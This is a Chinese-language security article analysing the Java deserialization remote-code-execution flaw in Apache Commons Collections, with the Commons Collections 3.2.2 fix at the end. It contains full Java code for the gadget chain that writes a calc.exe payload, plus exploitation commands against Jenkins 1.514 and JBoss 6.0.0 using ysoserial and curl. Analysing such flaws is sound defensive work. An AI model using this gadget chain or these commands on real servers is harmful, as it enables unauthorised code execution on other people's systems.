悬镜安全丨Java 反序列化任意代码执行漏洞分析与利用

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       2015年的1月28号，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[3]，报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。

       同年11月6日，FoxGlove Security安全团队的@breenmachine在一篇博客中[2]介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。

       距离漏洞发布已经有了一年多的时间，仍然有很多网站仍未修复漏洞。

1.漏洞原理

1.1 Java序列化与反序列化

       简单的说，把对象转换为字节序列的过程称为对象的序列化。把字节序列恢复为对象的过程称为对象的反序列化。

       Java序列化的目的是为了将某些对象存储到磁盘上，从而长期保存，例如最常见的是Web服务器中的Session对象，当有 10万用户并发访问，就有可能出现10万个Session对象，内存可能吃不消，于是Web容器就会把一些seesion先序列化到硬盘中，等要用了，再把保存在硬盘中的对象还原到内存中。

       或者当两个进程在进行远程通信时，彼此可以发送各种类型的数据。无论是何种类型的数据，都会以二进制序列的形式在网络上传送。

       发送方需要把这个Java对象转换为字节序列，才能在网络上传送；接收方则需要把字节序列再恢复为Java对象。

一个序列化与反序列化的典型场景如下：

```

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

public class deserial {

public static void main(String args[]) throws Exception {
    String obj = "hello world!";

    // 将序列化对象写入文件object.db中
    FileOutputStream fos = new FileOutputStream("object.db");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(obj);
    os.close();

    // 从文件object.db中读取数据
    FileInputStream fis = new FileInputStream("object.db");
    ObjectInputStream ois = new ObjectInputStream(fis);

    // 通过反序列化恢复对象obj
    String obj2 = (String)ois.readObject();
    System.out.println(obj2);
    ois.close();
}

} ```

1.2Java 反序列化漏洞

       Java 反序列化漏洞的核心在于，由于Java中的类ObjectInputStream在反序列化时，没有对生成的对象的类型做限制。

       在反序列化的时候不需要指定原来的数据类型即可进行反序列化。如下代码仍可以执行：import
java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class deserial { public static void main(String args[]) throws Exception { String obj = "hello world!"; // 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件object.db中读取数据 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj Object obj2 = ois.readObject(); System.out.println(obj2); ois.close(); } }       那么对用户输入，即不可信数据做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任意代码执行。

       反序列漏洞由来已久，PHP 和 Python 中也有同样的问题，而在 Java 中问题比较严重的原因是因为一些公用库，例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。

       WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用，就是依靠了Apache Commons Collections。

       但是该漏洞的根源并不在于公共库，而是在于 Java 没有对反序列化生成的对象的类型做限制。正如某些评论所说：

![image](http://i4.buimg.com/567571/

e92c86dadfbb3033.png)

1.3漏洞利用原理

       该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。

1.3.1 InvokerTransformer.transform()实现程序执行

       问题函数主要出现在org.apache.commons.collections.Transformer,我们可以看到Transformer接口定义了一个方法。 ``` public interface Transformer {

/**
 * Transforms the input object (leaving it unchanged) into some output object.
 *
 * @param input  the object to be transformed, should be left unchanged
 * @return a transformed object
 * @throws ClassCastException (runtime) if the input is the wrong class
 * @throws IllegalArgumentException (runtime) if the input is invalid
 * @throws FunctorException (runtime) if the transform cannot be completed
 */
public Object transform(Object input);

}

 
     该接口的作用是给定一个 Object 进行 transform 变换后返回新的 Object，我们看它的实现类： ![](http://i1.piimg.com/567571/08a0898c8e213f96.png)        其中接口的实现类InvokerTransformer的实现存在问题，我们看该类的transform 函数代码实现：/** * Transforms the input to result by invoking a method on the input. * * @param input the input object to transform * @return the transformed result, null if null input */ public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}

} ```        发现它可以用反射的方法进行函数调用input 对象的 iMethodName 函数，参数为 iArgs。

       同时可以看到它的这三个参数都是在构造函数中设置的，均为可控参数。

1.3.2 TransformedMap.checkSetValue()-

InvokerTransformer.transform()

       我们知道

InvokerTransformer这个类的 transformer 函数可以用来执行任意代码，我们需要找调用这个函数的位置。

       我们看到有很多类调用了这个函数，我们以 TransformedMap 为例子进行介绍。

1.3.3 MapEntry.setValue()->TransformedMap.checkSetValue()

        我们看TransformedMap.checkSetValue()的函数定义如下：/**
* Override to transform the value when using <code>setValue</code>. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value);
}        我们在 eclipse 中查看它TransformedMap.checkSetValue()的调用栈发现它被MapEntry.setValue() 调用： ``` /** * Implementation of a map entry that checks additions via setValue. */ static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
    }

    public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
    }

} ```         在MapEntry.setValue() 中对 parent 进行了 checkSetValue AbstractInputCheckedMapDecorator 类型的parent 是在构造函数中进行设置的。

        TransformedMap是AbstractInputCheckedMapDecorator 的一个子类，只要将 parent 设置为恶意的对象即可。

        这样如果我们在序列化TransformedMap时指定了恶意的 InvokeTransformer 那么在MapEntry 执行 setValue 调用的时候，就会触发我们的 InvokeTransformer 中设置的恶意代码。 例如以下例子： ``` import java.util.HashMap; import java.util.Map; import java.util.Map.Entry;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class deserial { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};

    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");

}

} ```

1.3.4 AnnotationInvocationHandler.readObject()->MapEntry.setValue()

        但是目前的构造还需要依赖于触发Map中某一项去调用setValue()，我们需要想办法通过readObject()直接触发。 我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型，同时它在 readObject 中对每一项 memberValue 都调用了 setValue，如下所示：

        我们可以看到在 AnnotationInvocationHandler类的 readObject 函数中刚好有一个元素memberTypes，被调用了 setValue()方法，因此只需要构造一个 TransformedMap ，将它的 transformer 设置为 InvokeTransformer，然后将其用反射封装为一个AnnotationInvocationHandler类的对象。那么在反序列化在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler。 生成 Payload 的一种方法如下： ``` import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class deserial { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};

    Transformer transformedChain = new ChainedTransformer(transformers);

    Map<String, String> innerMap = new HashMap<String, String>();
    innerMap.put("value", "value");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, outerMap);

    File f = new File("payload.bin");
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
    out.writeObject(instance);
    out.flush();
    out.close();

}

} ```

2.漏洞利用实例

        针对 java 反序列化漏洞，国外有黑客已经写了开源的漏洞利用工具ysoserial ，国内也有大神根据该工具制作了 Jenkin 的利用工具。

2.1 Jenkins1.514漏洞利用

        首先拿到一个Java应用，需要找到一个接受外部输入的序列化对象的接收点，即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用（例如readObject()）来寻找，也可以直接通过对应用交互流量进行抓包，查看流量中是否包含java序列化数据来判断，java序列化数据的特征为以标记（ac ed 00 05）开头。

2.1.1 检查 ClassPath

        确定了反序列化输入点后，再查看ClassPath 是否有 ApacheCommonsCollections 库grep
-R "InvokerTransformer" ~/.jenkins 

2.1.2 利用国内的漏洞利用工具利用

        我们使用国内的某Jenkins 漏洞利用工具进行漏洞利用。./client.pl
--url http://127.0.0.1:8080/ --os linux --cmd '{ whoami; ls -lh; } > /tmp/hacked'        我们可以看到漏洞利用成功：

2.1.3 服务器日志

        对于低版本的 Jenkins 我们发现在触发漏洞的时候，服务器报异常。         对于最新版本的2.7.3的 Jenkins则无法成功。 

2.2 Jboss6.0.0.Final攻击

2.2.1 生成 payload

        使用ysoserial生成 payload，如下：

java
-jar ysoserial-0.0.4-all.jar CommonsCollections1 'touch /tmp/hacked' > payload.bin

2.2.2 用 curl 发送 payload：

curl
--header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://127.0.0.1:8080/invoker/JMXInvokerServlet

       可以看到/tmp/hacked 被创建        但是目前存在的问题是其他有的指令无法执行。

3.漏洞修复

        ApacheCommonsCollections在3.2.2中修复了漏洞。对这些不安全的Java类的序列化支持增加了开关，默认为关闭状态。涉及的类包括CloneTransformer,ForClosure,
InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。

       例如 InvokerTransformer 中，如果对该对象序列化，则会报异常。 ``` /** * Overrides the default writeObject implementation to prevent * serialization (see COLLECTIONS-580). */ private void writeObject(ObjectOutputStream os) throws IOException { FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); os.defaultWriteObject(); }

/** * Overrides the default readObject implementation to prevent * de-serialization (see COLLECTIONS-580). */ private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException { FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); is.defaultReadObject(); } ```

参考资料

[1]:https://github.com/frohoff/ysoserial/

[2]:http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

[3]:http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles